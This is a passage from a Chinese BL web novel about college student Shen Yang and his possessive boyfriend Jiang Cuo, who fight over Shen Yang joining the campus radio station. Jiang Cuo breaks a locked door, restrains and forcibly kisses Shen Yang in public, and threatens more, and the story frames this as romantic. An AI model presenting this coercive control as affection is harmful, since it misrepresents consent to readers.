边宇抱着两床棉被出现在他宿舍门口。 开学一个多月了,沈泱早就认识了班上的所有同学,眼前人叫边宇,大高个儿的东北人,边宇同学爽朗一笑,解释道:“沈帅哥,听说这个寝室空了一个床位,我和宿管申请后,换过来了。” 工商大学的本科生是四人间,但不是每个专业都刚好住满四人间,边宇就是他们班运气不好,分在了混寝的男同学。 其他三个人没有一个是电子商务的。 不是一个班,生活肯定没有一个班的同频,得知沈泱的这个宿舍空了一个床位,边宇索性申请了换宿舍。 沈泱让他进来。 顾宝安得知边宇要换到他们宿舍,热情地提出帮他搬东西。 边宇没客气,爽朗地说好。 沈泱也跟着去了。 边宇拎着他的大行李箱,王恒帮他拿了脸盆等洗漱用品,顾宝安拎着一篮筐的琐碎物件,沈泱就觉得自己不好空着手,但开学不久,边宇的东西也不多,他们仨都拿完了。 沈泱目光环绕一圈,从王恒满当当的盆子里挑了一个水杯,严肃地捧着一个叮当猫水杯,从二楼走到了三楼。 转眼又到了周末,这周六,沈泱迎来了大学社团里的第一个活动。 这次活动是在学校的第三演播厅播放一部暑假上映的动漫电影,感兴趣的社团成员六点准时前去观看。 这部动漫电影六月份国内就可以观看了,放暑假的时候,沈泱当时和江措一起看过,电影沈泱还挺喜欢的,当时又是在家里看的,用江措的电脑。 学校的第六演播厅有不输于电影院的超级大屏,所以六点一到,沈泱还是准时进入了演播大厅,看完了电影。 电影看完,社团的负责人又组织了一些活动,沈泱玩到十点才回家。 沈泱和江措的新家依旧是套二,这一次房东另外一间卧室没锁,做了沈泱和江措的书房。 不过书房对沈泱没什么用,打游戏看电影他都喜欢待卧室里。 江措经常学习,代码编程,不过他也很少在书房里学习,他习惯性地把他的学习资料和电脑都放在客厅里,他甚至还买了张二手书桌放在客厅里,学习工作也都在客厅里。 沈泱推开门,在客厅里学习编程的江措抬眸,目光像是落在了沈泱身上一瞬,又仿佛只是往这里不过心地瞟了一眼,视线又落回到了他的电脑上,很是专心致志的样子。 沈泱走过去,叫了声江措。 江措嗯了一声,视线还落在电脑屏幕上。 沈泱站在江措的身旁,看了眼屏幕上密密麻麻的代码,又转过头看了眼江措,离开了。 拿着睡衣去卫生间洗漱完了,沈泱吹干头发走了出来,江措还是一开始的姿势,全神贯注地盯着他的电脑。 “江措,你要喝水吗?”沈泱拿起自己新买不久的粉色小猪玻璃水杯,给自己倒了一杯水喝了两口,又扭过头,问客厅里噼里啪啦敲击键盘的江措。 过了两秒钟,江措才有空回了一句,“我不渴。” 沈泱喝完水,哐当一声把水杯放在茶水柜上,哒哒哒回到了房间。 已经十一点过了,沈泱躺在床上,无所事事地玩了一会儿手机,眼看要到十二点了,他没关门,客厅里键盘的敲打声清晰地传入沈泱的耳膜里。 沈泱在大床上打了个滚,放下手机,雪白的脚趾塞进露趾的凉拖里,走出了房间。 沈泱站在了江措劣质的书桌前,是真的很劣质,不知道江措从哪里淘来的n手书桌,周围一圈都脱了漆,桌板上贴着一个又一个明星照片。 江措或许也觉得太丑了,买了一个白色的桌垫,把那些千奇百怪的男明星照片挡住了。 沈泱的屁股贴着书桌的边沿,眨也不眨地盯着江措,忽然说道:“江措,我们社团今天看的那个电影是暑假我和你一起看过的那个电影。” “我觉得和他们看,比和你一起看有意思多了,看到有意思的地方,大家会和我一起笑呢。” 江措从电脑前面抬起了头,盯着沈泱。 沈泱嘟了嘟嘴,“你那个时候,都不觉得好笑!”像是埋怨的语气,又像不是埋怨的语气,不太好形容沈泱的语气。 两三分钟后,江措完成这一小节的内容,动作流利地关掉了电脑。 沈泱用疑惑的语气:“江措,你不弄你的电脑了吗?” 江措:“睡觉。” 江措去卫生间洗漱,沈泱脚步轻快地回到了卧室,踹掉了拖鞋,躺在了床上,也没玩手机。 过了一会儿,江措的脚步声响了起来。 沈泱打了个呵欠,掀开了一点眼皮。 他有点困了,等江措在他身边躺下后,沈泱习惯性地朝他身边挪了挪,闭上了眼睛。 就在即将陷入沉睡中的前一秒,沈泱倏然睁开了眼睛,睡意消失了一大半。 江措松开紧紧捏住沈泱鼻子,不让他呼吸的那只手,盯着他,不爽地道:“是和我看电影开心?还是和你那些同学们看电影开心。”—— 作者有话说: 今晚和大家见面的想要老公陪自己睡觉的泱宝啦。 然后有宝宝说江措很霸道,江措的确很霸道啦,控制欲和占有欲都很强烈,这也是他的性格缺陷啦[可怜][可怜] 第47章 沈泱有时候很讨厌江措这种冷漠的语气和他讲话, 但有的时候,眉眼冷峻的青年垂着眼没什么情绪地望着他,又说一点有些吃醋的话, 沈泱的心跳忽然会变得特别快, 身体也会变得很烫。 沈泱攥紧发烫的手心,微微仰着头,眼神落在江措的身上, 字正腔圆地说:“当然是和我的校友们一起看开心啦。” 江措继续望着他。 沈泱哼了一个不知名的小曲儿,身体缩进了被窝里, 惬意地闭上眼睛。 过了十几秒之后,沈泱腰上搭过来一只熟悉的大手, 隔着一层薄薄的睡衣, 沈泱能感受到江措大掌传递来的温度。 江措微微施加了点力气, 沈泱身体不由自主地往他旁边靠了一些。 九月下旬, 申城气候渐冷。 晚上不用开空调睡觉了。 沈泱这样贴着江措睡了一会儿, 又觉得有些热, 额头冒出一点汗, 他想拱出江措的怀抱。 江措意识到沈泱的动作,眉头不自觉地拧了起来, 他伸长手臂, 拿起床头柜的空调, 将房间里的温度调低,过了一会儿, 一直在怀里动来动去的沈泱终于安分了下来。 转眼到了周一, 这天早上,江措和沈泱都是十点钟才有课。 江措从床上起身的时候,沈泱还拥着被子, 睡得香甜,只是身旁忽然空了下来,他脑袋不自觉地在旁边蹭了蹭,没蹭到,他下意识皱了下眉,很快就又睡熟了。 江措站在床边,脱掉身上的睡衣,悍实的肌肉在放松的状态下显得柔韧而没什么攻击性。 左肩的位置分布着一个还算鲜嫩的牙印,沟壑深邃的脊背上也有几条明显的抓痕。 江措换上外套和裤子,轻手轻脚出了门,洗漱后坐在了客厅里的书桌前。 自学了接近三个小时,眼看要到了八点半了,江措从电脑面前移开眼,下楼买了两份早餐,回到家。 江措推开房门。 沈泱果然已经醒了,趴在床上玩手机,柔软的睡衣往上掀起一截,白皙窄嫩的侧腰上有一个鲜明的手印。 江措说:“不要这样玩手机,对眼睛不好。” 又说:“起床吃饭。” 沈泱放下手机,鲤鱼打挺坐起来,趿拉着拖鞋下了地。 “你买了什么啊?”走到餐厅一看,是沈泱今天早上想吃的小笼包,沈泱去卫生间,洗漱后在餐桌前坐下。 九点四十左右,江措和沈泱下楼,江措骑着自行车,先把沈泱送到工商大学四教楼下,然后骑车去隔壁申大。 下午有课,沈泱中午就没和江措一起吃饭,和室友们吃完饭后去宿舍里躺了一会儿,找教室上下午的公共课。 漫长的两个小时结束后,沈泱打着呵欠走出教室。 “沈泱,沈泱。”一个女生在教室门口等着他,见她出来了,笑着朝他挥了挥手。 “学姐,你找我吗?”黎虹是动漫社的学姐,沈泱朝她走了过去。 “对,我有事找你,你有空吗?” “什么事?”黎虹是社团里的负责人,沈泱和她打过交道,但是不多。 黎虹说:“我们找个安静的地方说话吧。” 沈泱朝几个室友交代了一声,和黎虹一起走出了教学楼。 黎虹不是一个人来找的沈泱,她身旁还有一个女生,几人走出人来人往的教学楼里后,找了个僻静的花坛,黎虹介绍道:“沈泱,这是我室友,范窈,比你大两级,是外国语学院的。” 沈泱叫了一声学姐。 范窈笑眯眯地盯着他,眼神温柔极了,“学弟,虹虹夸你的声音好听,比我那些……咳咳,果然,你的声音真的很好听呢。” “谢谢,你的声音也不错。”沈泱习惯了被人夸长得好看,对于绝大多数人来说,外貌总是比声音更富有冲击性。 夸声音的比外貌的少,沈泱一时没有反应过来。 范窈看着他,笑得更温柔了,“是这样的,我是校广播站的站长,你有没有兴趣加入我们学校的广播站?” 沈泱:“?” 范窈:“虽然刚刚听你说话不多,但是你不仅音色漂亮,咬字也很清晰,声音条件非常不错,怎么样?有没有兴趣尝试一下?很有意思的?” “我……”沈泱完全没预料对方是这个来意,他知道学校的广播站,每天下午五点半到六点会播报一些新闻,名人科普,或者有趣的知识,生活小妙招。 沈泱还听到有人在广播站点歌,祝自己的对象生日快乐,还有人在广播站堂而皇之地告白。 那天的校友群都炸了。 沈泱听顾宝安讲起,还非常遗憾那天下午没课,他没在学校,在家,都没有看到这个热闹。 范窈是特别会争取的女孩子,见沈泱没有一口拒绝,她拉着沈泱的胳膊往广播站走,“学弟,这样吧,我感觉你也有点兴趣,要不要先去我们广播站看一下?” 几分钟后,沈泱跟着范窈来到了校广播站。 广播站在学校政务大楼二楼的一个房间里,面积不算大,是一个套间,外面大概十三四平方,有两张大桌子,收拾得整齐干净。 范窈推开内间的玻璃门,里面则是学校的广播室了。 里面有一张大桌子,上面放着各类专业设备,范窈给沈泱一一介绍,“这个是麦克风,这是调音台,播放器,分区控制器,东西操作起来都很简单。” 说完,她教了教沈泱如何操作这些设备,“是不是挺简单的?” “不难。” 范窈笑吟吟地看着沈泱,语气欣慰,“既然这样,学弟,今天下午要不你来播吧?反正你来都来了。” “我把今天的稿子给你拿过来。” 始料不及的发展,沈泱的眼睛瞪得滚圆。 今天下午的播音稿放在了外面的办公桌上,范窈雷厉风行地拿着它走了进来,递给沈泱,“学弟,时间还多,你先熟悉一下稿子,不过你也不用急,反正这是我们自己学校的广播,出了问题也没关系,你放心大胆地说。” 沈泱低头看了看手上的稿子,今天的内容先是提醒大家国庆假期即将到来,要回家的同学记得早点抢票,接着就是科普某个名人的小故事。 “学姐,我都没播过音,你真得要我播啊。” “没事没事,你要相信你自己,你的声音超级好的,我听过几百个男人的声音,都没你的好听。” “可是……” “学弟,没有可是,我相信我的耳朵。” “但是……” “没有但是。” 莫名其妙地,沈泱就在广播站的办公桌前坐了下来,熟悉稿件。 没多久,另外一个女生也来了,她是播音站的女播音员,也是沈泱的学姐,学校下午的广播一般都是一男一女的搭配。 “沈泱,这是曲云染,汉语言文学的学姐。” 曲云染短发,娃娃脸,看着是温柔怯弱的长相,性格却很干脆利落,“沈泱学弟,你饿了吗?我带了饼干,你要吃点吗?” “我不饿。” “那这瓶水给你,刚刚窈窈特意让我过来的时候给你带瓶矿泉水。” “我也不渴。” “先拿着吧。”曲云染将没开封的矿泉水放在沈泱的手边,笑吟吟地道,“等会儿播音前,还是要喝两口,润润嗓子。” “……谢谢。” 曲云染冲他莞尔一笑,“再说几句话吧,小学弟。” 沈泱:“?” 一个小时后,工商大学下午最后一节课的下课铃响了起来,等铃声响完,就到了播音站开始播放广播的声音。 虽然从来没有过在学校广播站播音的经历,但沈泱不怎么怯场。 开播之前,他喝了两口水,润润嗓子。 沈泱是头天来,曲云染会负责一切设备的调试,他只需要到了说话时候,对着麦克风讲话。 设备调试完毕,曲云染打开全校的广播。 一点微弱的滋滋的声音冒出来。 曲云染看着沈泱,抬了抬下颌,示意他。 沈泱刚刚已经看了许多遍稿子了,第一句话不用看稿也了然于心,他深吸了一口气,攥紧拳头,启唇道:“夕阳跌落暮色,霞光吻遍树梢。” 曲云染紧随其后,含笑说道:“转眼又到了新的一周,同学们,周一好。” 大二大三大四的学生习惯了每天下午的校园广播了,至于大一新生,开学一个月了,大家也知道下午学校会放广播和音乐。 数千名学生从各个教学楼涌出来,绝大部分同学都不太关注广播的内容,只把它当成背景音,偶尔还会怪校园广播的声音影响了他们和同学的讲话。 孙凌儿就是这样一个普普通通的同学。 她拎着帆布包,和同学走出教学楼,安装在电线杆上的音响在短暂的电磁滋滋声响后,响起了一道干净清澈的男音,比山巅寒雪要柔,比清风水面要凛。 孙凌儿今年大二,虽然没太关注学校广播站的播音员,但来来去去,都是那几个声音,她早就熟悉了。 今天这句夕阳跌落暮色一出来,孙凌儿不由自主地朝悬挂在电线杆上的音响扫了一眼。 紧接着是下一句霞光吻遍树梢。 男声结束了,又是一个女生的声音。 孙凌儿从惊诧中回过神,挽着好友的胳膊,情不自禁地感慨,“今天这个男生的声音好好听。” 她的好友忙不迭地赞同道:“是的,好好听啊。” 不是那种新闻广播的播音腔,带着鲜明的个人特色,孙凌儿的好友是理工科的学生,没有太多的描述词,只觉得不是那种低沉性感的声音,反而有种冰泉拂面涤挡全身的感觉,就是两个字,好听!!三个字,超好听! 沈泱:“这就是雀屏中选的由来了。” 曲云染:“还有几天就是国庆中秋双节了,要回家的同学们记得提前买票。” 沈泱:“星光初醒,美好永存,愿岁月安闲,我们明日黄昏,再见。” 沈泱说完最后一个字,曲云染按下音乐键,校园广播里开始播放音乐,歌单早就准备好了,不用大家盯着。 沈泱脚步漂浮地走出广播室。 范窈不吝赞美:“沈泱,我就说吧,播音还是挺简单的,你看,我们学校的贴吧好多人在问今天的这新播音员是谁?声音好听得像是加了声卡。” 沈泱低头一看,果然是一个在议论今天校园广播的帖子,很多人都在夸这个播音员的声音好听,比前几个男生都好听! 当然,偶尔也会有一两条差评,但十几二十条好评里就一两条差评,沈泱根本不在意。 “不仅是贴吧里有人夸你声音好听,刚刚我加的校友群里也有人夸你声音好听,林籁泉音,不外如是,还有人说我们广播站的扩音器终于好用了起来。” “怎么样?要不要加入我们学校的广播站。”范窈热情邀请。 沈泱还有一丝迟疑。 范窈:“诶,我好像太急了一点,这样吧,我们先去吃饭,吃完了晚饭后你告诉我答案。” 江措今晚学校有课,回家后已经九点过了。 沈泱在书房里,开学的时候,江措也给沈泱买了笔记本电脑,是某个牌子的最新款,沈泱正在用笔记本电脑放电影。 隐约听到外面有动静声传进来,沈泱按下暂停,疾步走了出去。 “江措,我告诉你,我加入我们学校的广播站了。”沈泱站在玄关处,等江措一走进来,语气雀跃地和他分享道。 “广播站?”换鞋的江措顿了一下,微微抬起头,盯着脸色愉悦的沈泱问道,“学校的广播站?每天会有上万人听到你声音的广播站?” 沈泱点了点头,“对啊,就是每天下午播广播的广播站,我们学姐说我声音很好听,然后我今天都去播了一下午了。” 江措穿好拖鞋,来到沈泱的身前,眉头拧了起来,“你都播了一下午了?” 沈泱:“对啊。” 他唇角翘了起来,“贴吧和校友群的反馈都特别好,有些同学说我是这几年声音最好听的一个男主播,还打听我是谁呢!” 沈泱一直具有超强的配得感,虽然他没有江措学习能力强,但谁规定学习能力强的人才能获得别人的喜欢。 但沈泱的确没有什么擅长的事,广播这件事起初他谈不上喜欢,但没想到这么多人竟然都夸他播的好,因为正面反馈,沈泱的确有点喜欢上了这件事。 所以下午学姐一说,沈泱没怎么犹豫,就同意加入广播站。 听到沈泱说到好多打听他是谁,江措攥紧拳头,怒意有些压制不住了,“不准去。” 沈泱没料到江措是这个反应,他脑袋里懵了一下,霍然拔高了音量,“为什么不准去,我觉得广播站挺有意思的,我想要去!” “一两万人都听到你的声音,你知道他们中间会不会有几个对你动奇怪心思?” “明天去告诉你学姐,你要退出广播站。” 沈泱:“你这是什么话?我们学校又不是我一个广播员?” 江措说:“反正我不同意你去!” 江措占有欲很强,他的东西他的人都就是他一个人的,舍不得给别人看让别人碰,所以他不喜欢沈泱接触太多的人,可是他也知道沈泱要健康快乐的生活,就不可能不接触人。 朋友和同学都在他的了解和控制中,但工商大学上万名学生教职工,江措但凡想一想,头都要炸了。 里面会不会有比江措更符合沈泱喜爱的追求者? 江措说完,把电脑包拎到客厅的书桌上后,心神不定地打开电脑,学长还没有把他的资料发给江措,江措沉着脸拿了睡衣,先去卫生间洗澡。 沈泱胸口气得一起一伏,双手握得紧紧的,见江措像没事人一样开电脑,拿睡衣去洗澡,恨不得抬起手,毫不客气地给他几下。 十几分钟后,江措洗漱完,拉开紧闭的洗手间玻璃门。 把沈泱放在脏衣篓里的衣服裤子放进洗衣机里,江措又拿了一个塑料盆,蹲在并不宽敞的卫生间里,搓洗沈泱换下来的内裤和袜子。 内裤洗完晾在阳台,粗糙的大手又娴熟地搓洗沈泱的袜子,再把沈泱的袜子和他的袜子一起晾晒在阳台上。 沈泱站在洗手间外,盯着蹲在大红色塑料盆前搓洗小块布料的江措,脑袋里的火气熄灭了一些。 晾晒完需要手洗的东西,江措将两个塑料盆挂在卫生间的墙壁上,洗干净手,走了出来。 “江措,你要喝水吗?我给你倒杯水吧。”沈泱殷勤地道。 他像是只勤劳的小蜜蜂一样,转过身,找到江措军绿色的搪瓷水杯,在饮水机前面接了一杯水,捧着水杯走到江措面前,满面笑容地递给他。 江措低着眼睛,扫了他一眼,宽大的手掌接过水杯,凸起的喉结滚了几滚,不消片刻,大半杯水消失了一半。 沈泱接过江措没喝完的水杯,放到茶几上。 又拉着江措在一旁的沙发上坐下,养得细嫩的双手按在江措硬邦邦的肩膀上,沈泱站在江措的身旁说,“江措,我给你按摩按摩吧,你的肩膀好硬啊。” 沈泱深吸了一口气,咬紧牙关,双手费力地按捏着江措结实的肩膀。 十分辛苦地工作了几分钟后,沈泱声音温柔地问道:“有没有舒服一些呀?江措?” “嗯。” 得到了赞扬,沈泱又提起精神,兢兢业业地工作了好几分钟,双臂实在是累得抬不起来了,沈泱细声说道:“江措,我真的很想去广播站,你就让我去吧?” “好不好?” 他蹲在江措身前,仰着头,双手撑着雪白的小脸,眼巴巴地望着他。 江措有一瞬间的心软,很快冷声说道,“不行。” 沈泱噌地一下站了起来,比坐在沙发上的江措忽然高出一大截。 怒火再次窜上心头,沈泱居高临下地盯着江措,盛气凌人地说道:“我告诉你,江措,我就是要加入校广播站,不管你同不同意,我都去定了。” 江措:“沈泱,你敢去试试!” 草! 沈泱怒不可遏地拿起茶几上的纸巾,铆足了劲砸向了江措。 接着又拿起沙发上的抱枕,一股脑儿地全都砸向了江措。 茶几上的薯片和饮料全都砸完,沈泱沉着脸,拖鞋在瓷砖上发出恶狠狠的脚步声,沈泱啪的一声关上了房门。 江措把沈泱扔的乱七八糟的东西收纳归位,黑着脸去洗手间拿了一把拖把,等将地面拖得恍若新生后,江措又拖了两三遍,这才将毛都粗糙了一些的拖把放回卫生间,拉开椅子在书桌前坐下。 今晚的效率有一点低,眼看要到十一点半了,江措的工作进度依然没有多少,他索性关掉电脑回房。 手握在门把手上,江措拧了拧门把手,没拧开门,门被人从里面反锁了。 江措冷声:“沈泱,开门。” 沈泱盘腿坐在床上,鼻端用力地发出一声哼,没搭理在门口敲门的江措。 江措深吸了一口气,房门上的备用钥匙不在,被人故意拔掉了。 他在房间里找了一圈,没看见多余的钥匙,江措脸色不快地拿了螺丝刀和改刀。 听到房门口传来嗡嗡的动静声,沈泱诧异地转过头。 安装在卧室房门上,固若金汤的门锁震颤了几下,忽然,那把锁掉了下来,紧接着,猪肝红的房门一只骨骼宽大的手推开,江措没什么表情地走了进来。 靠!该死的江措炖猪! 沈泱脸色一沉,手机重重往床头柜上一搁,他背对江措,躺在了床上,被子捞起来,盖住了他整张脸。 另外一侧有人掀开被子躺了进来,江措关了灯,结实的手臂一展,大力地将距离他很远的沈泱拽回来。 江措向来力气大,沈泱攥紧了床单,不想被他拽过去,他那一点力气和江措相比,却不啻于蚍蜉撼树。 沈泱整个人都被江措拽了过来,后背紧密地贴着江措宽阔的胸膛。 他凶神恶煞地用脚踹他,没两下,男人硬实的大腿插入他双腿之间,坚硬牢固的臂膀牢牢地捆住他,沈泱彻底地动弹不得。 沈泱低下头,张嘴就咬在了江措的小臂上,齿尖陷入温热的皮肉里,沈泱感受到一点腥甜味,沈泱松开嘴,板着脸闭上了眼睛。 翌日,两人上午都是满课。 江措洗漱完,回到房间把沈泱叫起床。 沈泱也不和江措说话,一声不吭地去卫生间洗脸刷牙,换好衣服后沈泱出门。 江措伸手,拉开防盗门。 这两天有点气温回升,江措穿了一件黑色短袖,褐色的小臂裸露在外,手臂侧方,一个还算明显的咬痕清晰地映入眼帘。 江措要穿短袖去学校就去学校吧,反正又不是他顶着一个咬痕,沈泱又不会丢脸! 沈泱脸色不快。 见江措要接过他手里的帆布包,沈泱毫无章法地抢了回来,迈着噔噔作响的脚步下了楼。 转眼就是一上午过去了。 沈泱下午没课,江措下午则是满课。 沈泱没去找江措吃午饭,和室友们在食堂里吃完了午饭,沈泱回到了卧室里。 他躺在宿舍狭窄的单人床上,心烦意乱地叹了口气,又收到了江措的消息,要求他,下午去告诉他的学姐,他要退出广播社。 沈泱怒气冲天地从床上坐了起来,指尖用力戳着屏幕,【我就不要退出去】 江措:【你可以喜欢一些其他的事,比如画画弹琴养花钓鱼陶艺之类】 沈泱:【我现在就喜欢播音!!!!】 江措:【你前几天都还不喜欢!】 沈泱:【那是我没了解过】 江措:【我说了,你可以喜欢别的,不要那么多盯着你的,能发现你的爱好】 沈泱忽然想起去年元旦节的时候,高二的学妹请他做主持人,江措连他面对两三千人做主持人都不乐意,他昨天为什么会觉得他会乐意上万人听到他的声音?! 沈泱恼得差点将手机摔了出去,把手机往枕头上一扔,沈泱趴在宿舍的单人小床上,没回复江措的消息了。 沈泱心里揣着事,时间反而过超级快,转眼就是三个小时过去了。 范窈一直没等到沈泱回她的消息,索性打了个电话过去。 沈泱心绪不宁地坐在王恒身边,看他打游戏,听到他的手机响了起来,沈泱身体在椅子上僵硬几秒,才起身走过去,从床缝里摸出了手机。 是范窈打来的电话。 “学姐?” “沈泱,四点半了,你得来广播站,熟悉今天下午的广播稿了。” 范窈昨天就告诉过沈泱,最近学校的广播站挺缺男主播的,广播站一共四个男主播,上一周两个广播员都因为个人原因,退出了广播站。 有一个最近长了智齿,昨天才去拔了智齿,未来的一周,应该都没办法正常说话。 还有一个,这两天有点感冒,嗓音沙哑难听,广播站很缺男主播,所以这一周可能都要沈泱顶上。 沈泱昨晚上爽快地说了好。 不过范窈也说,这两天她们还会找一个新主播,不会给他太大的任务量。 沈泱嘴巴张了又张,“学姐,我……” “嗯?怎么了?” “没什么。”凭什么江措不乐意他做的事他就不能做!他是江措的对象,又不是江措的洋娃娃,他就是要去广播站广播,他才不怕江措! “我马上过来。”沈泱说。 “行,我在广播站等你。”—— 作者有话说:看了看我的下一章,有接近九千字啦[可怜][可怜] 晚安,么么[亲亲][亲亲] 第48章 最后一节课上完, 江措摸出手机,下午发了三条消息给沈泱,沈泱一条都没有回复。 他把书塞进书包里, 拎着包下了楼。 从申大的东门出去, 距离最近的就是工商大学的南门,过了一条马路,江措走进工商大学的南门。 一个熟悉的声音骤然从草坪里音响里传了出来, 是沈泱的声音,“我喜欢你, 宁清月同学。” 江措如遭雷击,耳膜嗡鸣一声, 眼睛死盯着花坛里的扩音器。 工商大学的校园扩音器音质极佳, 沈泱的声音透过电子设备传出来, 不仅没有失真, 连多余的回颤都没有, 和平时在江措耳边说话没有太多区别。 ** 校园广播承接一些帮校友告白, 帮室友过生日的业务, 今天有人联系广播站,今天是他女朋友二十岁生日, 想要通过校广播站朝女友表白, 还要点一首歌送给她。 说完校友托他们广播站讲的话, 曲云染播放出校友点的那首歌。 放歌的时候,学校广播站的麦克风关掉了。 沈泱和曲云然两人可以说话, 见沈泱抚着胸口, 坐立不安,曲云染笑道:“怎么了?今天怎么比昨天还紧张?” 沈泱朝着门外看了一眼,风平浪静, 他挤出一丝微笑,“我没有紧张啊。” 他真的一点都不紧张。 男生给女朋友点完的歌声播放结束后,曲云染打开了麦克风,广播一些生活小常识。 二十分钟一晃而过,眼看就要到了今日广播的尾声了。 沈泱敏锐地观察到守候在广播室玻璃门外的范窈朝着大门口走了过去,似乎有人来了。 “同学,这是校广播站,你有什么事吗?”有人在敲广播室的门,范窈走过去拉开门,出现一个个头很高的男生。 单眼皮,眉眼轮廓深邃,高鼻薄唇,气质冷冽。 算起来是范窈今年见过的第二帅的男孩了,第一个是沈泱,不过说人家是第二帅似乎不合理。 眼前这个大帅哥和沈泱是截然不同的风格,沈泱是漂亮,精致的美,眼前这个男生却是一种冷厉的俊,极具压迫感的帅。 江措没有回答范窈的话,他朝房间里面扫了一眼,果不其然,房间里面还套了一个玻璃墙面的小房间,有一个化成了灰江措也认识的背影在里面。 江措越过范窈,铁青着脸朝里面走了过去。 “哎哎哎,同学,这里是广播站,他们在广播,你不能随便进去!”范窈想要拦住江措。 城里的小姑娘根本没法和长在高原里的青年相提并论,范窈都没有碰到江措的衣角,江措已经快步走到广播室的门口,拧开了广播室的门把手。 一声极其明显的推门声在身后响起。 一根比发丝还细的丝线猛然缠上了沈泱的心脏,他浑身不受控地绷紧了。 顾不得曲云染的话没说完,沈泱唰地一下抬手,关掉了校园广播的麦克风。 没等曲云染反应过来沈泱做了什么,一个个头极高的男生脸色阴沉地走了进来。 对方的目光没有外扩一丝一毫,平静中蕴藏火山的眼神全都倾洒在沈泱的身上,咬牙切齿地挤出几个字,“沈泱,我昨晚说过什么?你他妈都忘了吗?” 沈泱心惊胆颤,快步过去,拽着江措往广播站外走,“你别在这里发疯,我们出去说。” “发疯?”江措低头,哂笑了一声,“我刚刚那叫发疯吗?” 话刚落地,他拽着沈泱往前一推,沈泱薄薄的脊背撞上冰冷的玻璃墙面,江措俯身,黑眸里淬着戾气,不容置喙地吻了下来。 曲云染和范窈看到这一幕,瞠目结舌。 沈泱脸色勃然大变,他张嘴,想要咬江措的舌尖。 江措带着雷霆之力的手指猛然攥住沈泱的下颌,沈泱的嘴唇动不了了,只能任凭江措的舌头粗暴的入侵。 沈泱抬脚踹江措,江措两条长腿卡进沈泱双腿之间,高大的身躯完完全全地笼罩住沈泱,压着他,不容置喙地索取沈泱唇舌间的氧气。 好不容易,终于等到暴怒中的江措松开了沈泱。 沈泱被亲的浑身发软,得到了自由后,抬手就给了江措一巴掌。 啪地一声,声音响亮地甩在了江措的脸上。 江措被打了,微微偏着头,脸色倒也没有任何变化,大手握着沈泱瘦削的手腕,拽着人步伐又急又快地往外走。 “你这个混蛋你松开我!我才不要你碰我,江措顿珠……” “沈泱,你再多说一句,信不信我当着你全校同学的面,扛着你回家。” 他妈的,江措顿珠果然是全天下最大的混蛋。 沈泱抬起脚,用尽了全身的力气朝江措的小腿上踹了一脚,江措的步伐没有任何的变化,他沉着一张恍若地狱恶鬼般的脸,大步流星地拽着沈泱往外走去。 十几分钟后,两人回到家。 房门还没关上,沈泱踏进玄关后就恶狠狠地给了江措两下,这两下完全不能消解沈泱的怒气,尤其是想到江措当着曲云染和范窈的面,不管不顾地亲下来,沈泱就恨不得从江措身上咬下来两口肉。 江措甩上门,门框被震的哐当作响,江措垂着眼,冷声道:“沈泱,你以后还去广播站吗?” “我当然要去,我就要去,我每天都要去!”沈泱火气冲天。 “行,只要你以后敢去,我就敢当着你全班同学的面亲你。”江措可能是怒到了极致,语气听起来竟然有种令人毛骨悚然的平静,他的大手钳住沈泱的下颌,迫使他只能抬着头望着自己,哪怕望着他的眼神是恨不得吃了江措的,那也只能望着江措! “知道我会怎么亲你吗?会比今天在广播站更过分,掐着你的下颌,舌头伸进去,舔遍你口腔里的每一个位置!” “江措,你他妈的就是个大混蛋!”沈泱气急了,红着眼眶又给了江措一拳头。 “我告诉你,江措,我要和你分……” 江措冰冷的目光扫下来。 沈泱抓住江措紧的发硬的手臂,低头就朝他手背恶狠狠地咬了上去,齿尖陷肉,沈泱尝到了腥甜的血腥气,也没有松口。 温热的血液从江措的手背渗透出来,沈泱又抬脚凶神恶煞地踹他,他红着眼眶骂他,“我就是想要去广播站广播一下而已!我又不是要出轨,要和别的男人在一起,你凭什么不准我去啊!!” “那是广播一下吗?广播就是叫着别的人的名字,对全校说我喜欢你吗?”想到今天进入沈泱的学校,听到的那句话,江措恨不得把沈泱的裤子扒了,甩上十几巴掌。 “那又不是我对她说,我都说了,那是代替他男朋友说的!”沈泱觉得江措简直不可理喻。 “我喜欢你,宁清月同学,这九个字是不是从你嘴巴里吐出来的?”江措顾不得处理手臂上的咬伤,一把将沈泱扛了起来,将人扔到床上,就开始扒人的衣服,又不管不顾地亲了下来。 “沈泱,你喜欢的是谁?宁清月吗?嗯?” 沈泱一开始还骂他,骂江措是个大混蛋,又说他就是喜欢宁清月,江措宽阔的脊背上红痕越来越多,沈泱的双腿越分越开,沈泱最后流着泪骂他,喜欢江措顿珠这个大混蛋行了吧? 江措亲掉他的脸上的眼泪,动作却并没有温柔下来。 沈泱洗完澡,被江措裹着浴巾从卫生间里抱出来,屁股碰触到柔软的大床,沈泱又抬手给了江措几下,胳膊都给他打疼了,沈泱懒得搭理江措,睡衣也懒得穿,背对着江措,蛄蛹进被子里。 江措盯着缩进被褥里的沈泱看了几分钟,回到浴室,把浴室清理干净后,套上衣服,打开门出去了。 沈泱躺在床上,听到江措似乎打开门离开了,他愕然地坐了起来,江措这个混蛋出门了,他竟然敢甩门走了。 沈泱嗖地一下站了起来,速度太急,大腿根传来不容忽视的疼痛,沈泱刷地一下躺下了。 沈泱委屈得眼泪都掉了下来。 他抬手抹了一把眼泪,又在心里恶狠狠地骂江措顿珠,骂他是个禽兽,是个流氓,是个讨厌鬼,是个狗东西。 开门声忽然响了起来,沈泱抬手又抹了一把眼泪,背对着房门,扯上被子盖住了自己的脸。 江措把两份卤肉饭放在餐桌上,推开房门走了进去。 掀开被子,沈泱双眼通红地蜷缩在床上,江措的心像是被一根尖锐的铁钉子狠狠地钉了进去,心脏疼的浑身抽搐了一下,他粗韧的指腹擦拭掉沈泱的眼泪,柔声说:“宝宝,吃晚饭了。” “吃什么吃?我都被你气死了!”沈泱抬起脚,毫不留情地朝江措的胸口踹了上去,眼泪止不住地滚下来,“我就是想要去广播站广播而已,又不是做坏事!你为什么就是不同意啊!” 沈泱不太理解江措心里的想法。 等沈泱胸口起伏的频率变得缓和一些,江措凑近沈泱,舔掉他脸上的泪珠,低沉道:“沈泱,你的声音很好听,会有更多人喜欢你。” “但是我不会喜欢他们。”沈泱嘶声吼道。 江措没搭理这话,想到如果有很多人觊觎沈泱他已经想要发疯了。 他给沈泱三两下穿好了衣服,抱着沈泱来到了餐厅,拿纸巾擦掉他脸上的泪水,撕开一次性筷子的包装,将筷子递给了沈泱。 他刚刚出门是去买晚饭去了,沈泱还没吃晚饭。 沈泱转过头,愤愤地扫了他一眼,扬手将筷子砸在了地上。 